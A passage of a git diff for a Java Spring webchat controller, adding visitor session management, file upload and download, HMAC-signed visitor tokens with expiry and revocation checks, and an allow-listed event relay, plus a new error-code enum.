才能看到。 + */ + @Operation(summary = "归档 / 取消归档会话线程") + @PutMapping("/sessions/archive") + public R archiveSession( + @RequestHeader("X-MC-Key") String apiKey, + @RequestHeader(value = "X-MC-Visitor-Token", required = false) String visitorToken, + @RequestParam String visitorId, + @RequestParam(required = false) String sessionId, + @RequestBody Map body) { + ChannelEntity channel = resolveChannel(apiKey); + if (channel == null) { + return R.fail(401, "Invalid API Key"); + } + if (!verifyVisitorToken(visitorTokenSecret, channel.getId(), visitorId, visitorToken)) { + return R.fail(401, "Invalid or missing visitor token"); + } + String sid; + try { + sid = normalizeSessionId(sessionId); + } catch (IllegalArgumentException ex) { + return R.fail(400, ex.getMessage()); + } + String conversationId = deriveConversationId(apiKey, visitorId, sid); + if (!ownsConversation(conversationId, visitorId)) { + return R.fail(404, "Session not found"); + } + Object v = body != null ? body.get("archived") : null; + if (!(v instanceof Boolean)) { + return R.fail(400, "body must contain {archived: true|false}"); + } + conversationService.setArchived(conversationId, (Boolean) v); + audit(channel, visitorId, "webchat.archive-session", conversationId, + "{\"sessionId\":\"" + sid + "\",\"archived\":" + v + "}"); + return R.ok(); + } + + /** + * Load this visitor's session threads (own namespace only), mapped to the + * compact view. Sorted as {@code listConversations} returns them (pinned + * desc, last-active desc). Shared by the list and paginated endpoints. + *

    + * Enumeration is keyed by the visitor's username plus the channel prefix + * ({@code webchat::}) rather than the full conversationId prefix, so it + * still catches threads whose conversationId hashed (long visitorId + + * sessionId). The sessionId is read from the persisted {@code webchatSessionId} + * column (set on creation) and only falls back to parsing the conversationId + * for legacy rows created before that column existed. + */ + private List loadVisitorSessions(String apiKey, String visitorId) { + return loadVisitorSessions(apiKey, visitorId, false); + } + + /** + * Overload that lets the caller opt into archived threads. By default + * (used by /sessions listing and the empty-session quota check) archived + * rows are filtered out — they still exist on disk and are addressable + * by sessionId, but don't pollute the active listing and don't count + * against the "≤ 5 empty threads" quota (the visitor already declared + * they're done with them). + */ + private List loadVisitorSessions(String apiKey, String visitorId, + boolean includeArchived) { + String base = deriveConversationId(apiKey, visitorId, null); + String channelPrefix = "webchat:" + apiKey.substring(0, Math.min(8, apiKey.length())) + ":"; + String owner = webchatUsername(visitorId); + // Query is scoped to this visitor's own rows only (no system rows), so + // listing a visitor's threads doesn't load every IM/cron conversation. + // The channel prefix is matched in-memory with a literal startsWith so a + // '_' / '%' in the api key's first 8 chars can't act as a LIKE wildcard. + return conversationService.listWebchatConversations(owner).stream() + .filter(c -> c.getConversationId() != null + && c.getConversationId().startsWith(channelPrefix)) + .filter(c -> includeArchived + || c.getArchived() == null + || c.getArchived() == 0) + .map(c -> { + String sid = recoverSessionId(c, base); + return new WebChatSessionView(sid, c.getTitle(), c.getLastActiveTime(), + c.getMessageCount(), + c.getPinned() != null ? c.getPinned() : 0, + c.getArchived() != null ? c.getArchived() : 0, + c.getStreamStatus() != null ? c.getStreamStatus() : "idle"); + }) + .collect(Collectors.toList()); + } + + /** + * Recover a thread's sessionId. Prefers the persisted column; for legacy + * rows (column null) falls back to parsing the non-hashed conversationId. + * Returns null for the default (no-session) thread and for legacy hashed rows + * whose sessionId can no longer be reconstructed. + */ + private String recoverSessionId(vip.mate.workspace.conversation.model.ConversationEntity c, String base) { + if (c.getWebchatSessionId() != null) { + return c.getWebchatSessionId(); + } + String cid = c.getConversationId(); + if (cid.equals(base)) { + return null; + } + String prefix = base + ":"; + if (cid.startsWith(prefix)) { + return cid.substring(prefix.length()); + } + return null; + } + + /** + * 获取某会话线程的消息列表(支持分页)。 + *

    不传 limit 时返回全部消息(向后兼容);传 limit 返回最新 limit 条 + hasMore; + * 传 beforeId + limit 时返回该 ID 之前的 limit 条(上拉加载更早消息)。 + */ + @Operation(summary = "获取会话消息(支持分页)") + @GetMapping("/sessions/messages") + public R sessionMessages( + @RequestHeader("X-MC-Key") String apiKey, + @RequestHeader(value = "X-MC-Visitor-Token", required = false) String visitorToken, + @RequestParam String visitorId, + @RequestParam(required = false) String sessionId, + @RequestParam(required = false) Long beforeId, + @RequestParam(required = false) Integer limit) { + ChannelEntity channel = resolveChannel(apiKey); + if (channel == null) { + return R.fail(401, "Invalid API Key"); + } + if (!verifyVisitorToken(visitorTokenSecret, channel.getId(), visitorId, visitorToken)) { + return R.fail(401, "Invalid or missing visitor token"); + } + String sid; + try { + sid = normalizeSessionId(sessionId); + } catch (IllegalArgumentException ex) { + return R.fail(400, ex.getMessage()); + } + String conversationId = deriveConversationId(apiKey, visitorId, sid); + if (!ownsConversation(conversationId, visitorId)) { + return R.fail(404, "Session not found"); + } + + // Backward-compatible: no limit → full external (path-stripped) list. + if (limit == null || limit <= 0) { + return R.ok(conversationService.listMessageViewsExternal(conversationId)); + } + + // Paginated: mirror ConversationController#listMessages but with the + // external view so visitors never see server-side file paths. + List messages; + boolean hasMore; + if (beforeId != null) { + messages = conversationService.listMessagesBefore(conversationId, beforeId, limit + 1); + hasMore = messages.size() > limit; + if (hasMore) { + messages = messages.subList(messages.size() - limit, messages.size()); + } + } else { + long total = conversationService.countMessages(conversationId); + messages = conversationService.listRecentMessages(conversationId, limit); + hasMore = total > limit; + } + return R.ok(Map.of( + "messages", conversationService.toExternalMessageViews(messages), + "hasMore", hasMore + )); + } + + /** + * 删除某会话线程 + */ + @Operation(summary = "删除会话线程") + @DeleteMapping("/sessions") + public R deleteSession( + @RequestHeader("X-MC-Key") String apiKey, + @RequestHeader(value = "X-MC-Visitor-Token", required = false) String visitorToken, + @RequestParam String visitorId, + @RequestParam(required = false) String sessionId) { + ChannelEntity channel = resolveChannel(apiKey); + if (channel == null) { + return R.fail(401, "Invalid API Key"); + } + if (!verifyVisitorToken(visitorTokenSecret, channel.getId(), visitorId, visitorToken)) { + return R.fail(401, "Invalid or missing visitor token"); + } + String sid; + try { + sid = normalizeSessionId(sessionId); + } catch (IllegalArgumentException ex) { + return R.fail(400, ex.getMessage()); + } + String conversationId = deriveConversationId(apiKey, visitorId, sid); + if (!ownsConversation(conversationId, visitorId)) { + return R.fail(404, "Session not found"); + } + conversationService.deleteConversation(conversationId); + audit(channel, visitorId, "webchat.delete-session", conversationId, + "{\"sessionId\":\"" + sid + "\"}"); + return R.ok(); + } + + /** + * 停止访客某线程正在进行中的 SSE 流。 + *

    + * 鉴权同其他会话管理端点(API Key + visitorToken + 会话归属)。内部调 + * {@link ChatStreamTracker#requestStop(String)}——靠 chatStream 注册时绑定的 + * Disposable 实际中断 Flux;返回 {@code stopped=false} 表示当前没有活跃流 + * (幂等,不报错)。 + *

    + * 不做 approval sweep:webchat 渠道目前不暴露 approval UI,且无 MateClaw + * username 可传给 {@code denyAllByConversation}。若未来 webchat 接入审批流, + * 再单独评估是否补这层。 + */ + @Operation(summary = "停止访客会话线程的进行中流") + @PostMapping("/sessions/stop") + public R> stopSession( + @RequestHeader("X-MC-Key") String apiKey, + @RequestHeader(value = "X-MC-Visitor-Token", required = false) String visitorToken, + @RequestParam String visitorId, + @RequestParam(required = false) String sessionId) { + ChannelEntity channel = resolveChannel(apiKey); + if (channel == null) { + return R.fail(401, "Invalid API Key"); + } + if (!verifyVisitorToken(visitorTokenSecret, channel.getId(), visitorId, visitorToken)) { + return R.fail(401, "Invalid or missing visitor token"); + } + String sid; + try { + sid = normalizeSessionId(sessionId); + } catch (IllegalArgumentException ex) { + return R.fail(400, ex.getMessage()); + } + String conversationId = deriveConversationId(apiKey, visitorId, sid); + // ownsConversation is the existence + ownership guard: an unknown sessionId + // maps to a conversationId that either doesn't exist or belongs to someone + // else — both return 404 so the caller can't probe the namespace. + if (!ownsConversation(conversationId, visitorId)) { + return R.fail(404, "Session not found"); + } + boolean stopped = streamTracker.requestStop(conversationId); + log.info("[WebChat] Stop requested: conversationId={}, visitor={}, stopped={}", + conversationId, visitorId, stopped); + audit(channel, visitorId, "webchat.stop-session", conversationId, + "{\"sessionId\":\"" + sid + "\",\"stopped\":" + stopped + "}"); + return R.ok(Map.of("stopped", stopped)); + } + + /** + * 重新生成最后一条助手回复。 + *

    + * 语义:找到会话最后一条 {@code role=user} 消息 → stop 当前流(如有)→ 删除最后一条 + * {@code role=assistant} 消息 → 用 last user message 重新启动 agent turn。 + * 实际启动复用 {@link #chatStream},它会重新 saveMessage user(新消息 id,内容相同)。 + * 这样不重复 100 行 SSE 代码,代价是用户消息多一条(语义上等同"重发")。 + *

    + * 没有任何 user 消息时返回 400(无内容可重新生成)。 + */ + @Operation(summary = "重新生成最后一条助手回复") + @PostMapping(value = "/sessions/regenerate", produces = MediaType.TEXT_EVENT_STREAM_VALUE) + public SseEmitter regenerateSession( + @RequestHeader("X-MC-Key") String apiKey, + @RequestHeader(value = "X-MC-Visitor-Token", required = false) String visitorToken, + @RequestParam String visitorId, + @RequestParam(required = false) String sessionId) { + SseEmitter emitter = new Utf8SseEmitter(10 * 60 * 1000L); + ChannelEntity channel = resolveChannel(apiKey); + if (channel == null) { + sendErrorAndComplete(emitter, "Invalid API Key"); + return emitter; + } + if (!verifyVisitorToken(visitorTokenSecret, channel.getId(), visitorId, visitorToken)) { + sendErrorAndComplete(emitter, "Invalid or missing visitor token"); + return emitter; + } + String sid; + try { + sid = normalizeSessionId(sessionId); + } catch (IllegalArgumentException ex) { + sendErrorAndComplete(emitter, ex.getMessage()); + return emitter; + } + String conversationId = deriveConversationId(apiKey, visitorId, sid); + if (!ownsConversation(conversationId, visitorId)) { + sendErrorAndComplete(emitter, "Session not found"); + return emitter; + } + + // Stop any in-flight stream first so its doOnComplete doesn't race the + // delete/save below. Single-node webchat means requestStop hits the + // right disposable; multi-node is a separate epic. + streamTracker.requestStop(conversationId); + + MessageEntity lastAssistant = conversationService.findLastMessageByRole(conversationId, "assistant"); + if (lastAssistant != null) { + conversationService.deleteMessageById(lastAssistant.getId()); + } + MessageEntity lastUser = conversationService.findLastMessageByRole(conversationId, "user"); + if (lastUser == null) { + sendErrorAndComplete(emitter, "No user message to regenerate from"); + return emitter; + } + + log.info("[WebChat] Regenerate: conversationId={}, visitor={}, seedMessageId={}", + conversationId, visitorId, lastUser.getId()); + audit(channel, visitorId, "webchat.regenerate-session", conversationId, + "{\"sessionId\":\"" + sid + "\",\"seedMessageId\":" + lastUser.getId() + "}"); + + // Reuse chatStream: it'll resolve the agent again (cheap), re-derive + // conversationId, saveMessage user (new id, same content), and start + // the agent turn. visitorId echoes through to keep the visitor-scoped + // memory owner consistent. + WebChatRequest req = new WebChatRequest(); + req.setMessage(lastUser.getContent()); + req.setVisitorId(visitorId); + req.setSessionId(sid); + return chatStream(apiKey, req); + } + + /** + * 上传文件(入站)。访客先上传拿到 fileId,再在 /stream 的 attachmentIds 中引用。 + *

    鉴权同会话接口:API Key + visitor token;conversationId 服务端派生。 + */ + @Operation(summary = "WebChat 上传文件") + @PostMapping(value = "/upload", consumes = MediaType.MULTIPART_FORM_DATA_VALUE) + public R> uploadFile( + @RequestHeader("X-MC-Key") String apiKey, + @RequestHeader(value = "X-MC-Visitor-Token", required = false) String visitorToken, + @RequestParam String visitorId, + @RequestParam(required = false) String sessionId, + @RequestPart("file") MultipartFile file) { + ChannelEntity channel = resolveChannel(apiKey); + if (channel == null) { + return R.fail(401, "Invalid API Key"); + } + if (!verifyVisitorToken(visitorTokenSecret, channel.getId(), visitorId, visitorToken)) { + return R.fail(401, "Invalid or missing visitor token"); + } + // Upload requires an established visitor identity (the token is bound to it); + // unlike /stream we never mint a fresh visitorId here. + String vid; + String sid; + try { + if (visitorId == null || visitorId.trim().isEmpty()) { + return R.fail(400, "visitorId is required"); + } + vid = normalizeVisitorId(visitorId); + sid = normalizeSessionId(sessionId); + } catch (IllegalArgumentException ex) { + return R.fail(400, ex.getMessage()); + } + String conversationId = deriveConversationId(apiKey, vid, sid); + try { + WebChatFileService.StagedFile stored = fileService.store(conversationId, file); + audit(channel, vid, "webchat.upload-file", conversationId, + "{\"sessionId\":\"" + sid + "\",\"fileId\":\"" + stored.storedName() + + "\",\"size\":" + stored.size() + "}"); + return R.ok(Map.of( + "fileId", stored.storedName(), + "fileName", stored.originalName(), + "contentType", stored.contentType() != null ? stored.contentType() : "application/octet-stream", + "size", stored.size() + )); + } catch (WebChatFileService.UploadRejectedException ex) { + return R.fail(400, ex.getMessage()); + } catch (IOException ex) { + log.error("[WebChat] Upload failed conv={}: {}", conversationId, ex.getMessage()); + return R.fail(500, "Upload failed"); + } + } + + /** + * 下载文件(出站)。serves both visitor-uploaded files and agent-produced files + * written under the conversation dir. 鉴权同上,路径在服务端派生目录内防穿越。 + */ + @Operation(summary = "WebChat 下载文件") + @GetMapping("/files") + public ResponseEntity downloadFile( + @RequestHeader("X-MC-Key") String apiKey, + @RequestHeader(value = "X-MC-Visitor-Token", required = false) String visitorToken, + @RequestParam String visitorId, + @RequestParam(required = false) String sessionId, + @RequestParam String storedName) { + ChannelEntity channel = resolveChannel(apiKey); + if (channel == null) { + return ResponseEntity.status(401).build(); + } + if (!verifyVisitorToken(visitorTokenSecret, channel.getId(), visitorId, visitorToken)) { + return ResponseEntity.status(401).build(); + } + String sid; + try { + sid = normalizeSessionId(sessionId); + } catch (IllegalArgumentException ex) { + return ResponseEntity.badRequest().build(); + } + String conversationId = deriveConversationId(apiKey, visitorId, sid); + if (!ownsConversation(conversationId, visitorId)) { + return ResponseEntity.status(404).build(); + } + Path file = fileService.resolve(conversationId, storedName).orElse(null); + if (file == null) { + return ResponseEntity.notFound().build(); + } + + String contentType; + try { + contentType = Files.probeContentType(file); + } catch (IOException e) { + contentType = null; + } + MediaType mediaType = MediaType.APPLICATION_OCTET_STREAM; + if (contentType != null) { + try { + mediaType = MediaType.parseMediaType(contentType); + } catch (Exception ignored) { + // fall back to octet-stream + } + } + // Only inline images; everything else downloads as an attachment. nosniff + // stops the browser from re-interpreting the bytes as active content. + boolean inlineImage = contentType != null && contentType.startsWith("image/"); + String encodedName = URLEncoder.encode(file.getFileName().toString(), StandardCharsets.UTF_8) + .replace("+", "%20"); + return ResponseEntity.ok() + .contentType(mediaType) + .header("X-Content-Type-Options", "nosniff") + .header(HttpHeaders.CONTENT_DISPOSITION, + (inlineImage ? "inline" : "attachment") + "; filename*=UTF-8''" + encodedName) + .body(new FileSystemResource(file)); + } + + /** + * Build the user message's content parts: a text part for the message plus a + * file/media part for each referenced attachment. Attachment metadata is + * resolved server-side from the staging registry (the client only sends opaque + * ids); an id that is unknown, expired, or belongs to another conversation is + * silently dropped. + */ + private List buildUserParts(String conversationId, String message, + List attachmentIds) { + List parts = new ArrayList<>(); + if (message != null && !message.isBlank()) { + MessageContentPart text = new MessageContentPart(); + text.setType("text"); + text.setText(message); + parts.add(text); + } + if (attachmentIds != null) { + for (String fileId : attachmentIds) { + fileService.consume(conversationId, fileId).ifPresent(sf -> { + MessageContentPart p = new MessageContentPart(); + p.setType(WebChatFileService.partTypeFor(sf.contentType())); + p.setFileName(sf.originalName()); + p.setContentType(sf.contentType()); + p.setStoredName(sf.storedName()); + p.setFileSize(sf.size()); + // Relative download ref (caller adds auth headers + visitorId/sessionId). + p.setFileUrl("/api/v1/channels/webchat/files?storedName=" + + URLEncoder.encode(sf.storedName(), StandardCharsets.UTF_8)); + // Server path lets the agent's file tools read the upload; stripped from + // the external message view (listMessageViewsExternal). + fileService.resolve(conversationId, sf.storedName()) + .ifPresent(path -> p.setPath(path.toString())); + parts.add(p); + }); + } + } + return parts; + } + // ==================== 内部方法 ==================== + private static final Pattern SESSION_ID_PATTERN = Pattern.compile("[A-Za-z0-9_-]{1,64}"); + + /** + * 归一化调用方传入的 sessionId:空白 → null;非空必须满足白名单字符集,否则抛出。 + */ + private String normalizeSessionId(String raw) { + if (raw == null) { + return null; + } + String s = raw.trim(); + if (s.isEmpty()) { + return null; + } + if (!SESSION_ID_PATTERN.matcher(s).matches()) { + throw new IllegalArgumentException( + "Invalid sessionId (allowed: letters, digits, '-', '_', length 1-64)"); + } + return s; + } + + private static final Pattern VISITOR_ID_PATTERN = Pattern.compile("[A-Za-z0-9_.:\\-]{1,128}"); + + /** + * 归一化调用方传入的 visitorId:空白 → 新 UUID;非空必须满足白名单字符集,否则抛出。 + * 限制字符集既防注入/控制字符,也为派生的 conversationId / username 提供可预期的边界。 + */ + private String normalizeVisitorId(String raw) { + if (raw == null || raw.trim().isEmpty()) { + return UUID.randomUUID().toString(); + } + String s = raw.trim(); + if (!VISITOR_ID_PATTERN.matcher(s).matches()) { + throw new IllegalArgumentException( + "Invalid visitorId (allowed: letters, digits, '-', '_', '.', ':', length 1-128)"); + } + return s; + } + + /** + * 由服务端拼装 conversationId,始终钳在 key + visitor 命名空间内。 + * 绝不接受调用方传入的裸 conversationId。 + *

    conversation_id 列为 VARCHAR(64);当 visitorId + sessionId 过长导致超出列宽时, + * 把可变部分折叠为稳定哈希,保证 id 唯一且有界(否则 INSERT 会在 /stream 处 500)。 + */ + static String deriveConversationId(String apiKey, String visitorId, String sessionId) { + String key8 = apiKey.substring(0, Math.min(8, apiKey.length())); + String full = "webchat:" + key8 + ":" + visitorId + (sessionId != null ? ":" + sessionId : ""); + if (full.length() <= 64) { + return full; + } + return "webchat:" + key8 + ":#" + + sha256Hex(visitorId + "" + (sessionId == null ? "" : sessionId)).substring(0, 40); + } + + /** + * 由 visitorId 派生 username(mate_conversation.username,VARCHAR(64))。 + * 同样在超长时折叠为哈希,避免 username 溢出列宽。 + */ + static String webchatUsername(String visitorId) { + String u = "webchat:" + visitorId; + return u.length() <= 64 ? u : "webchat:#" + sha256Hex(visitorId).substring(0, 40); + } + + private static String sha256Hex(String s) { + try { + byte[] d = java.security.MessageDigest.getInstance("SHA-256") + .digest(s.getBytes(java.nio.charset.StandardCharsets.UTF_8)); + StringBuilder sb = new StringBuilder(d.length * 2); + for (byte b : d) { + sb.append(Character.forDigit((b >> 4) & 0xF, 16)).append(Character.forDigit(b & 0xF, 16)); + } + return sb.toString(); + } catch (java.security.NoSuchAlgorithmException e) { + throw new IllegalStateException("SHA-256 unavailable", e); + } + } + + /** + * 存在性守卫:会话存在且属于本 visitor 命名空间时返回 true,否则 404。 + *

    注意:这不是鉴权边界——conversationId 由调用方自报的 visitorId 派生, + * 等式两边同源,单凭它无法防越权。真正的鉴权由 {@link #verifyVisitorToken} 完成。 + */ + private boolean ownsConversation(String conversationId, String visitorId) { + ConversationEntity conv = conversationService.findByConversationId(conversationId); + return conv != null && webchatUsername(visitorId).equals(conv.getUsername()); + } + + /** + * 用服务端密钥对 (channelId, visitorId) 做 HMAC-SHA256,签发不可伪造的 visitor token。 + * 载荷含 channelId,使 token 不能跨渠道复用。 + *

    Token 默认 7 天后过期({@link #VISITOR_TOKEN_TTL_SECONDS});过期时间作为后缀 + * 明文附加在 HMAC 之后({@code .}),既参与签名也方便解析。 + * 过期后访客可通过 {@code /stream} 重新签发({@code /stream} 不校验 token,只签发)。 + */ + static String computeVisitorToken(String secret, Long channelId, String visitorId) { + return computeVisitorToken(secret, channelId, visitorId, + java.time.Instant.now().getEpochSecond() + VISITOR_TOKEN_TTL_SECONDS); + } + + /** Test/override hook: explicit expiration epoch second. */ + static String computeVisitorToken(String secret, Long channelId, String visitorId, long expiresAtEpochSecond) { + try { + Mac mac = Mac.getInstance("HmacSHA256"); + mac.init(new SecretKeySpec(secret.getBytes(StandardCharsets.UTF_8), "HmacSHA256")); + String payload = channelId + ":" + visitorId + ":" + expiresAtEpochSecond; + byte[] sig = mac.doFinal(payload.getBytes(StandardCharsets.UTF_8)); + return Base64.getUrlEncoder().withoutPadding().encodeToString(sig) + "." + expiresAtEpochSecond; + } catch (GeneralSecurityException e) { + throw new IllegalStateException("HMAC-SHA256 unavailable", e); + } + } + + /** + * 校验调用方回传的 token 的签名 + 过期。不查撤销表(撤销是实例层职责, + * 见 {@link #verifyVisitorToken})。Static 是为了让单测可以直接验证 HMAC 语义, + * 不需要起 Spring context。 + */ + static boolean verifyVisitorTokenSignature(String secret, Long channelId, String visitorId, String presented) { + if (presented == null || presented.isEmpty() || visitorId == null || channelId == null) { + return false; + } + int dot = presented.lastIndexOf('.'); + if (dot <= 0 || dot == presented.length() - 1) { + return false; + } + long exp; + try { + exp = Long.parseLong(presented.substring(dot + 1)); + } catch (NumberFormatException e) { + return false; + } + if (java.time.Instant.now().getEpochSecond() >= exp) { + return false; + } + // Constant-time comparison of the full token (sig + ".exp"). HMAC covers + // both channelId:visitorId and exp, so any tampering with exp invalidates sig. + byte[] expected = computeVisitorToken(secret, channelId, visitorId, exp).getBytes(StandardCharsets.UTF_8); + byte[] actual = presented.getBytes(StandardCharsets.UTF_8); + return MessageDigest.isEqual(expected, actual); + } + + /** + * 完整校验:签名 + 过期 + 撤销。任一不通过返回 false。实例方法,接入 + * {@link WebChatTokenRevocationService}。{@code /stream} 第一次接触不调用本方法 + * (只签发 token,不校验),所以被撤销的 visitor 仍能发起新会话——撤销只让旧的 + * 管理 token 失效,符合 issue #351 的设计。 + */ + boolean verifyVisitorToken(String secret, Long channelId, String visitorId, String presented) { + if (!verifyVisitorTokenSignature(secret, channelId, visitorId, presented)) { + return false; + } + if (tokenRevocationService != null && tokenRevocationService.isRevoked(channelId, visitorId)) { + return false; + } + return true; + } + /** * 通过 API Key 查找 WebChat 渠道 */ @@ -272,6 +1487,78 @@ public class WebChatController { } } + /** + * Forward a curated subset of agent lifecycle events to the visitor SSE + * stream as visitor-friendly {@code phase} / {@code tool_start} / + * {@code tool_end} / {@code plan} events. Internal event types + * ({@code _usage_final}, {@code _routing_decision}, {@code iteration_*}, + * {@code perf_summary}, {@code feedback_event}, {@code finish_reason}, + * {@code plan_step_*}) are dropped — they leak graph internals and have + * no visitor-facing value. + * + *

    Tool arguments are deliberately not forwarded. The agent may + * invoke tools with PII / sensitive arguments (file paths, user queries, + * credentials); relaying those to a 3rd-party website frontend is a data + * leak. The frontend gets only the tool name and renders a localized + * label via its own lookup table. + * + *

    Payloads are serialized via the injected {@link ObjectMapper} so + * nested maps/lists are encoded correctly (the hand-rolled {@link #escapeJson} + * helper is string-only). + * + *

    Backward compat: visitors / SDKs that don't know these event types + * silently ignore them per the SSE spec. + */ + private void forwardVisitorEvent(String conversationId, String eventType, Map data) { + if (eventType == null || data == null) return; + Map payload; + String sseName; + switch (eventType) { + case "phase": + // Graph phase transition (planning / thinking / generating / + // summarizing / ...). Lets the SDK show a typing indicator + // before the first content_delta lands. + sseName = "phase"; + payload = Map.of( + "phase", String.valueOf(data.getOrDefault("phase", "")), + "timestamp", System.currentTimeMillis()); + break; + case "tool_call_started": + // Tool invocation started. Args intentionally omitted — see javadoc. + sseName = "tool_start"; + payload = Map.of( + "tool", String.valueOf(data.getOrDefault("toolName", + data.getOrDefault("tool", "")))); + break; + case "tool_call_completed": + // Tool invocation finished. Result content intentionally omitted. + sseName = "tool_end"; + payload = new java.util.LinkedHashMap<>(); + payload.put("tool", String.valueOf(data.getOrDefault("toolName", + data.getOrDefault("tool", "")))); + Object success = data.get("success"); + payload.put("success", success != null ? success : Boolean.TRUE); + break; + case "plan_created": + // Plan-Execute agents expose their step list. The SDK can render + // a checklist; subsequent plan_step_* events are dropped (too + // granular for a visitor view). + sseName = "plan"; + payload = Map.of("steps", data.getOrDefault("steps", List.of())); + break; + default: + // Curated allow-list: anything else is internal — silently drop. + return; + } + try { + String json = objectMapper.writeValueAsString(payload); + streamTracker.broadcast(conversationId, sseName, json); + } catch (Exception e) { + log.debug("[WebChat] Failed to serialize visitor event {} for {}: {}", + eventType, conversationId, e.getMessage()); + } + } + private String escapeJson(String value) { if (value == null) return "null"; return "\"" + value @@ -289,5 +1576,112 @@ public class WebChatController { public static class WebChatRequest { private String message; private String visitorId; + /** Optional: route this call to a specific agent instead of the channel's bound agent. + * Must belong to the channel's workspace. + *

    Only applied when the (visitorId + sessionId) conversation is first created. Once that + * conversation exists, its agent is fixed: a different agentId on later requests is silently + * ignored. To talk to another agent, use a new sessionId (or a new visitorId). */ + private Long agentId; + /** Optional: open a distinct conversation thread for the same visitor. + * Composed into the server-derived conversationId; never used as a raw conversationId. */ + private String sessionId; + /** Optional: ids returned by POST /upload, referencing files this visitor uploaded + * for this conversation. Metadata is resolved server-side; unknown / foreign / expired + * ids are dropped. */ + private List attachmentIds; + } + + /** Compact view of one of a visitor's conversation threads. */ + @lombok.Data + @lombok.AllArgsConstructor + public static class WebChatSessionView { + /** null for the visitor's default (no-session) thread. */ + private String sessionId; + private String title; + private LocalDateTime lastActiveTime; + private Integer messageCount; + /** 1 if the visitor pinned this thread, 0 otherwise. */ + private Integer pinned; + /** 1 if the visitor archived this thread, 0 otherwise. */ + private Integer archived; + /** {@code running} if a stream is in progress on this thread, else {@code idle}. */ + private String streamStatus; + } + + /** + * Display-level view of a skill surfaced to webchat visitors for the slash + * picker UI. Carries only the fields a UI needs to render a row — id (for + * logging / debugging), localised name, description, icon. Deliberately + * omits SKILL.md content, config JSON, scan results and other internal + * columns: those never leave the admin console. + */ + @lombok.Data + public static class WebChatSkillView { + private Long id; + /** Immutable slug the LLM takes as {@code load_skill(name=…)}; this is what the slash picker must splice into the directive text. */ + private String name; + private String nameZh; + private String nameEn; + private String description; + private String icon; + + static WebChatSkillView from(vip.mate.skill.model.SkillEntity s) { + WebChatSkillView v = new WebChatSkillView(); + v.id = s.getId(); + v.name = s.getName(); + v.nameZh = s.getNameZh(); + v.nameEn = s.getNameEn(); + v.description = s.getDescription(); + v.icon = s.getIcon(); + return v; + } + } + + /** + * Display-level projection of a wiki page for the visitor-facing + * {@code [[slug]]} picker. Carries the slug the LLM consumes (via + * {@code wiki_read_page(slug=…)}), the human-readable title/summary for + * picker UI, and the KB id + name for disambiguation when an agent is + * scoped to multiple KBs that may share a slug. Deliberately omits + * content / embedding / sourceRawIds / outgoingLinks — those stay + * admin-console-only. + */ + @lombok.Data + public static class WebChatWikiPageView { + private Long kbId; + private String kbName; + /** Immutable slug — what the picker splices into the {@code [[slug]]} token; the LLM consumes it as {@code wiki_read_page(slug=…)}. */ + private String slug; + private String title; + private String summary; + /** {@code entity} / {@code concept} / {@code source} / ... — never {@code synthesis} (filtered out upstream). Useful for picker grouping/icons. */ + private String pageType; + + static WebChatWikiPageView from(vip.mate.wiki.model.WikiPageEntity p, String kbName) { + WebChatWikiPageView v = new WebChatWikiPageView(); + v.kbId = p.getKbId(); + v.kbName = kbName; + v.slug = p.getSlug(); + v.title = p.getTitle(); + v.summary = p.getSummary(); + v.pageType = p.getPageType(); + return v; + } + } + + /** Body for {@code POST /sessions} — explicitly create an empty thread. */ + @lombok.Data + public static class WebChatCreateSessionRequest { + /** Optional; server mints a UUID when absent (same convention as /stream). */ + private String visitorId; + /** Optional; server generates one when absent. Whitelisted charset, ≤ 64 chars. */ + private String sessionId; + /** Optional; 1–100 chars when non-blank, otherwise left null so the first + * /stream message still derives the title (mirrors PUT /sessions/title rules). */ + private String title; + /** Optional; override the channel's bound agent. Must belong to the channel's + * workspace. Only applied on first creation — once the thread exists, a + * different agentId is ignored. */ + private Long agentId; } } diff --git a/mateclaw-server/src/main/java/vip/mate/channel/webchat/WebChatErrors.java b/mateclaw-server/src/main/java/vip/mate/channel/webchat/WebChatErrors.java new file mode 100644 index 00000000..b85ca828 --- /dev/null +++ b/mateclaw-server/src/main/java/vip/mate/channel/webchat/WebChatErrors.java @@ -0,0 +1,52 @@ +package vip.mate.channel.webchat; + +/** + * Centralised error codes + messages for the visitor-facing webchat API. + *

    + * Every {@code R.fail(...)} call in {@link WebChatController} and + * {@link WebChatAdminController} routes through here so the set of HTTP + * responses is discoverable in one place. Code numbers align with the + * HTTP status they pair with; some are intentionally the same status + * with different messages. + * + * @author MateClaw Team + */ +public enum WebChatErrors { + + // ---- 400 BAD REQUEST ---- + INVALID_SESSION_ID(400, "Invalid sessionId (allowed: letters, digits, '-', '_', length 1-64)"), + INVALID_VISITOR_ID(400, "Invalid visitorId (allowed: letters, digits, '-', '_', '.', ':', length 1-128)"), + TITLE_INVALID(400, "title 不合法(1-100 字)"), + NO_AGENT(400, "No agent configured for this WebChat channel"), + REQUESTED_AGENT_NOT_FOUND(400, "Requested agent not found"), + REQUESTED_AGENT_WRONG_WORKSPACE(400, "Requested agent does not belong to this channel's workspace"), + PINNED_BODY_REQUIRED(400, "body must contain {pinned: true|false}"), + ARCHIVE_BODY_REQUIRED(400, "body must contain {archived: true|false}"), + NO_USER_MESSAGE_TO_REGEN(400, "No user message to regenerate from"), + VISITOR_ID_REQUIRED(400, "visitorId is required"), + CHANNEL_AND_VISITOR_REQUIRED(400, "channelId and visitorId are required"), + + // ---- 401 UNAUTHORIZED ---- + INVALID_API_KEY(401, "Invalid API Key"), + INVALID_VISITOR_TOKEN(401, "Invalid or missing visitor token"), + + // ---- 404 NOT FOUND ---- + SESSION_NOT_FOUND(404, "Session not found"), + WEBCAT_CHANNEL_NOT_FOUND(404, "webchat channel not found"), + + // ---- 409 CONFLICT ---- + QUOTA_EMPTY_SESSIONS_EXCEEDED(409, "未活跃会话数已达上限(%d),请先发送消息或删除旧会话"); + + public final int code; + public final String message; + + WebChatErrors(int code, String message) { + this.code = code; + this.message = message; + } + + /** Apply an int substitution to messages using {@code %d}. */ + public String with(int arg) { + return String.format(message, arg); + } +} diff --git a/mateclaw-server/src/main/java/vip/mate/channel/webchat/WebChatFileService.java b/mateclaw-server/src/main/java/vip/mate/channel/webchat/WebChatFileService.java new file mode 100644 index 00000000..defcc725 --- /dev/null +++ b/mateclaw-server/src/main/java/vip/mate/channel/webchat/WebChatFileService.java @@ -0,0 +1,255 @@ +package vip.mate.channel.webchat; + +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.scheduling.annotation.Scheduled; +import org.springframework.stereotype.Service; +import org.springframework.web.multipart.MultipartFile; + +import java.io.IOException; 